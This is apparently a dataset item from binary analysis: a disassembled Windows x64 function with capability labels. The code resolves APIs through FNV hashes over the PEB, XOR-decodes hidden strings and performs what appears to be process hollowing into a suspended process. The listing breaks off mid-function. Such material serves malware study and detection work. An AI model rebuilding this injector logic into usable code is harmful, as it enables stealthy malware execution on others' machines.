Function at 0x140010560
Capabilities:
Access peb ldr_data
Encode data using xor
Get kernel32 base address
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x218]
sub rsp, 0x2e0
movaps xmmword [rax - 0x48], xmm6
movaps xmmword [rax - 0x58], xmm7
movaps xmmword [rax - 0x68], xmm8
mov rax, qword [0x14009b080]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
mov rbx, r8
mov qword [rbp - 0x78], rbx
mov qword [rsp + 0x70], rdx
mov r15, rcx
mov qword [rsp + 0x78], rcx
mov qword [rbp - 0x20], rdx
mov qword [rbp - 0x18], rbx
xor r13d, r13d
movups xmm0, xmmword [str.oAbVT_KjT_H]
movups xmmword [rbp + 0x60], xmm0
mov eax, dword [0x14008fd88]
mov dword [rbp + 0x70], eax
movzx eax, byte [0x14008fd8c]
mov byte [rbp + 0x74], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140010679
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140010679
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0xce0a2b3
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140010674
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140010640
cmp r10d, 0x5d78a897
je 0x140010681
test r11d, r11d
jne 0x140010620
mov rax, qword [rax]
jmp 0x1400105f0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r10d, dword [rcx + rax*4]
add r10, rbx
mov r8d, r13d
mov eax, 5
lea ecx, [rax + 0x1a]
mov r12d, dword [reloc.WS2_32.dll_accept]
cmp r12d, 2
jl 0x1400107fb
movdqa xmm5, xmmword [0x14008fe40]
movdqa xmm4, xmmword [0x14008ff70]
movd xmm6, eax
movdqa xmm7, xmmword [0x14008fe90]
movd xmm8, ecx
movdqa xmm0, xmmword [str.5555555555555555___ts6_]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp + 0x60]
mov edx, dword [rbp - 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008feb0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008feb0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400106f0
cmp r8d, 0x15
jge 0x140010843
movsxd rax, r8d
lea r9, [rbp + 0x60]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140010810
lea rdx, [rbp + 0x60]
mov rcx, qword [0x1401af390]
call r10
mov r13, rax
movsxd rcx, dword [r15 + 0x3c]
mov qword [rsp + 0x68], rcx
mov eax, dword [rcx + r15 + 0x50]
mov dword [rsp + 0x60], eax
mov eax, dword [rcx + r15 + 0x54]
mov dword [rsp + 0x54], eax
mov eax, dword [rcx + r15 + 0x28]
mov dword [rsp + 0x58], eax
movzx eax, word [rcx + r15 + 6]
mov word [rsp + 0x50], ax
movzx eax, word [rcx + r15 + 0x14]
mov word [rsp + 0x52], ax
mov rcx, qword [rcx + r15 + 0x30]
mov qword [rbp - 0x40], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
movups xmmword [rbp + 0x10], xmm0
movups xmmword [rbp + 0x20], xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], rax
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140010969
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140010969
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0x88983896
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140010964
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140010930
cmp r10d, 0xde019262
je 0x140010971
test r11d, r11d
jne 0x140010910
mov rax, qword [rax]
jmp 0x1400108e0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov edx, dword [rcx + rax*4]
add rdx, rbx
mov ecx, 0x4d0
call rdx
mov r15, rax
mov qword [rbp - 0x80], rax
mov r8, qword [rbp - 0x78]
mov rdx, qword [r8 + 0x10]
test rdx, rdx
je 0x140010aad
movabs rcx, 0x7fffffffffffffff
sub rcx, rdx
cmp rcx, 1
jb 0x14001195e
mov rax, r8
cmp qword [r8 + 0x18], 0x10
jb 0x1400109cd
mov rax, qword [r8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 1
lea r9, reloc.WLDAP32.dll_Ordinal_32
movzx edx, byte [rsp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.140011b90
nop
lea r9, [rbp - 0x70]
mov rbx, qword [rbp - 0x70]
mov rsi, qword [rbp - 0x58]
cmp rsi, 0x10
cmovae r9, rbx
mov r10, qword [rsp + 0x70]
mov r14, qword [r10 + 0x10]
mov rcx, qword [r10 + 0x18]
mov rax, rcx
sub rax, r14
mov rdi, qword [rbp - 0x60]
cmp rdi, rax
ja 0x140010a58
lea rax, [rdi + r14]
mov qword [r10 + 0x10], rax
mov r15, r10
cmp rcx, 0x10
jb 0x140010a3a
mov r15, qword [r10]
lea rcx, [r15 + r14]
mov r8, rdi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [rdi + r15]
mov byte [rax + r14], 0
mov r15, qword [rbp - 0x80]
jmp 0x140010a73
mov qword [rsp + 0x20], rdi
xor r8d, r8d
mov rdx, rdi
mov rcx, r10
call fcn.140011a00
mov rsi, qword [rbp - 0x58]
mov rbx, qword [rbp - 0x70]
cmp rsi, 0x10
jb 0x140010aad
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140010aa5
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010aa5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.140075590
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140010b49
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140010b49
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0x7a83bd8a
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140010b44
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140010b10
cmp r10d, 0xf51b85f5
je 0x140010b51
test r11d, r11d
jne 0x140010af0
mov rax, qword [rax]
jmp 0x140010ac0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
lea rdx, [rbp + 0x90]
mov ecx, 0x104
call r8
mov dword [r15 + 0x30], 0x10001b
movups xmm0, xmmword [str.v_fkoPT_SJMc]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x14008fdc8]
mov dword [rbp - 0x60], eax
mov rax, qword [rsp + 0x70]
mov r15, rax
cmp qword [rax + 0x18], 0x10
jb 0x140010ba8
mov r15, qword [rax]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140010c49
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140010c49
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0xc7fceb01
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140010c44
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140010c10
cmp r10d, 0x7bb4c64d
je 0x140010c51
test r11d, r11d
jne 0x140010bf0
mov rax, qword [rax]
jmp 0x140010bc0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r10d, dword [rcx + rax*4]
add r10, rbx
xor r11d, r11d
mov r8d, r11d
cmp r12d, 2
jl 0x140010dcb
movdqa xmm5, xmmword [0x14008fe40]
movdqa xmm4, xmmword [0x14008ff70]
mov eax, 5
movd xmm6, eax
movdqa xmm7, xmmword [0x14008fe90]
mov eax, Ordinal_32
movd xmm8, eax
movdqa xmm0, xmmword [str.5555555555555555___ts6_]
movdqa xmmword [rbp - 0x50], xmm0
lea rcx, [rbp - 0x70]
mov edx, dword [rbp - 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008feb0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008feb0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140010cc0
cmp r8d, 0x14
jge 0x140010e13
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x35
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x140010de0
lea rax, [rbp - 0x38]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r11
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, r15
xor ecx, ecx
call r10
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
call r13
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140010ef9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140010ef9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0xf6371316
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140010ef4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140010ec0
cmp r10d, 0x9ec2fcd3
je 0x140010f01
test r11d, r11d
jne 0x140010ea0
mov rax, qword [rax]
jmp 0x140010e70
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r10d, dword [rcx + rax*4]
add r10, rbx
movsxd r8, dword [rsp + 0x60]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
call r10
mov r11, qword [0x1401af3f8]
test r11, r11
jne 0x140010fcb
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov rbx, r10
mov r8, qword [r10 + 0x60]
movzx eax, word [r10 + 0x58]
shr rax, 1
lea r11, [r8 + rax*2]
mov r9d, 0xdec2542c
cmp r8, r11
je 0x140010fb2
nop dword [rax + rax]
movsx eax, byte [r8]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
add r8, 2
cmp r8, r11
jne 0x140010f80
cmp r9d, 0x11bcda76
je 0x140011036
mov r10, qword [r10]
cmp r10, rbx
je 0x140010fc1
cmp qword [r10 + 0x30], 0
jne 0x140010f60
xor r11d, r11d
mov qword [0x1401af3f8], r11
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
xor r13d, r13d
mov r10d, r13d
mov esi, dword [rdi + r11 + 0x20]
mov ebx, r10d
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0xebc4a73a
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140011031
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140011001
cmp r9d, 0xe6a9b105
je 0x14001103c
inc r10d
jmp 0x140010fe2
mov r11, qword [r10 + 0x30]
jmp 0x140010fc4
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rdi + r11 + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
movsxd r9, dword [rsp + 0x54]
mov qword [rsp + 0x20], r13
mov r12, qword [rsp + 0x78]
mov r8, r12
mov rdx, qword [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
call r10
movzx ecx, word [rsp + 0x50]
cmp r13w, cx
jge 0x1400113ec
movsx r15, word [rsp + 0x52]
add r15, 0x18
add r15, qword [rsp + 0x68]
add r15, r12
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x68], rcx
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x60], xmm0
movups xmmword [rbp + 0x70], xmm0
mov qword [rbp + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140011158
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140011158
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x4e79482
movzx ecx, byte [r9]
inc r9
test cl, cl
je 0x140011153
nop
movsx edx, cl
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
movzx ecx, byte [r9]
lea r9, [r9 + 1]
test cl, cl
jne 0x140011120
cmp r10d, 0xb793520f
je 0x140011160
test r11d, r11d
jne 0x140011100
mov rax, qword [rax]
jmp 0x1400110d0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r9d, dword [rcx + rax*4]
add r9, rbx
mov r8d, Ordinal_45
mov rdx, r15
lea rcx, [rbp + 0x60]
call r9
mov eax, dword [rbp + 0x6c]
mov dword [rsp + 0x54], eax
movsxd r15, dword [rbp + 0x70]
movsxd rbx, dword [rbp + 0x74]
mov rcx, r15
call fcn.1400755c4
mov r13, rax
add r12, rbx
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov rbx, qword [rcx + 0x30]
movsxd rdx, dword [rbx + 0x3c]
mov r14d, dword [rdx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140011249
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140011249
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rax, [rsi + r11*4]
mov r9d, dword [rax + rbx]
add r9, rbx
mov r10d, 0xd7769052
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140011244
movsx eax, r8b
sub r8b, 0x41
mov edx, eax
or edx, 0x20
cmp r8b, 0x19
cmova edx, eax
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140011210
cmp r10d, 0xb303b65f
je 0x140011251
test r11d, r11d
jne 0x1400111f0
mov rcx, qword [rcx]
jmp 0x1400111c0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r9d, dword [rcx + rax*4]
add r9, rbx
mov r14, r15
mov r8, r15
mov rdx, r12
mov rcx, r13
call r9
mov r11, qword [0x1401af3f0]
test r11, r11
jne 0x14001131b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov rbx, r10
nop dword [rax]
nop word [rax + rax]
mov r8, qword [r10 + 0x60]
movzx eax, word [r10 + 0x58]
shr rax, 1
lea r11, [r8 + rax*2]
mov r9d, 0xaf9d30d2
cmp r8, r11
je 0x140011302
nop dword [rax + rax]
movsx eax, byte [r8]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
add r8, 2
cmp r8, r11
jne 0x1400112d0
cmp r9d, 0x6f26e9e4
je 0x140011386
mov r10, qword [r10]
cmp r10, rbx
je 0x140011311
cmp qword [r10 + 0x30], 0
jne 0x1400112b0
xor r11d, r11d
mov qword [0x1401af3f0], r11
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
xor r15d, r15d
mov r10d, r15d
mov esi, dword [rdi + r11 + 0x20]
mov ebx, r10d
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0xaa9d28f3
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140011381
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140011351
cmp r9d, 0xbff8c34
je 0x14001138c
inc r10d
jmp 0x140011332
mov r11, qword [r10 + 0x30]
jmp 0x140011314
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rdi + r11 + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
movsxd rdx, dword [rsp + 0x54]
add rdx, qword [rbp - 0x40]
mov qword [rsp + 0x20], r15
mov r9, r14
mov r8, r13
mov rcx, qword [rbp - 0x38]
call r10
mov rcx, r13
call fcn.140075590
mov r15, qword [rsp + 0x60]
add r15, 0x28
mov qword [rsp + 0x60], r15
sub qword [rsp + 0x68], 1
mov r12, qword [rsp + 0x78]
jne 0x1400110a0
xor r13d, r13d
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140011489
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140011489
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xda4af615
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140011484
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140011450
cmp r10d, 0x7e8efcee
je 0x140011491
test r11d, r11d
jne 0x140011430
mov rax, qword [rax]
jmp 0x140011400
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov r15, qword [rbp - 0x80]
mov rdx, r15
mov rcx, qword [rbp - 0x30]
call r8
mov r14, qword [r15 + 0x88]
mov r11, qword [0x1401af3c8]
test r11, r11
jne 0x14001155b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov rbx, r10
nop word [rax + rax]
mov r8, qword [r10 + 0x60]
movzx eax, word [r10 + 0x58]
shr rax, 1
lea r11, [r8 + rax*2]
mov r9d, 0x9bd1e03b
cmp r8, r11
je 0x140011542
nop dword [rax + rax]
movsx eax, byte [r8]
mov ecx, eax
sub al, 0x41
mov edx, ecx
or edx, 0x20
cmp al, 0x19
cmova edx, ecx
xor edx, r9d
imul r9d, edx, 0x1000193
add r8, 2
cmp r8, r11
jne 0x140011510
cmp r9d, 0x50ff5e99
je 0x1400115c5
mov r10, qword [r10]
cmp r10, rbx
je 0x140011551
cmp qword [r10 + 0x30], 0
jne 0x1400114f0
mov r11, r13
mov qword [0x1401af3c8], r11
movsxd rax, dword [r11 + 0x3c]
mov edi, dword [rax + r11 + 0x88]
mov r10d, r13d
mov esi, dword [rdi + r11 + 0x20]
nop
mov ebx, r10d
lea rax, [rsi + rbx*4]
mov r8d, dword [rax + r11]
add r8, r11
mov r9d, 0x9ad1dea8
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x1400115c0
nop
movsx eax, dl
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
movzx edx, byte [r8]
lea r8, [r8 + 1]
test dl, dl
jne 0x140011590
cmp r9d, 0x9175b947
je 0x1400115cb
inc r10d
jmp 0x140011570
mov r11, qword [r10 + 0x30]
jmp 0x140011554
mov ecx, dword [rdi + r11 + 0x1c]
add rcx, r11
mov eax, dword [rdi + r11 + 0x24]
add rax, r11
movzx eax, word [rax + rbx*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rdx, [r14 + 0x10]
mov qword [rsp + 0x20], r13
mov r9d, 8
lea r8, [rbp - 0x40]
mov rcx, qword [rbp - 0x38]
call r10
movsxd rax, dword [rsp + 0x58]
add rax, qword [rbp - 0x40]
mov qword [r15 + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x1400116b9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x1400116b9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xf57615e6
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1400116b4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140011680
cmp r10d, 0x1a96a315
je 0x1400116c1
test r11d, r11d
jne 0x140011660
mov rax, qword [rax]
jmp 0x140011630
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rcx + rax*4]
add r8, rbx
mov rdx, r15
mov rcx, qword [rbp - 0x30]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140011789
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140011789
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x5b5bd37d
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140011784
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
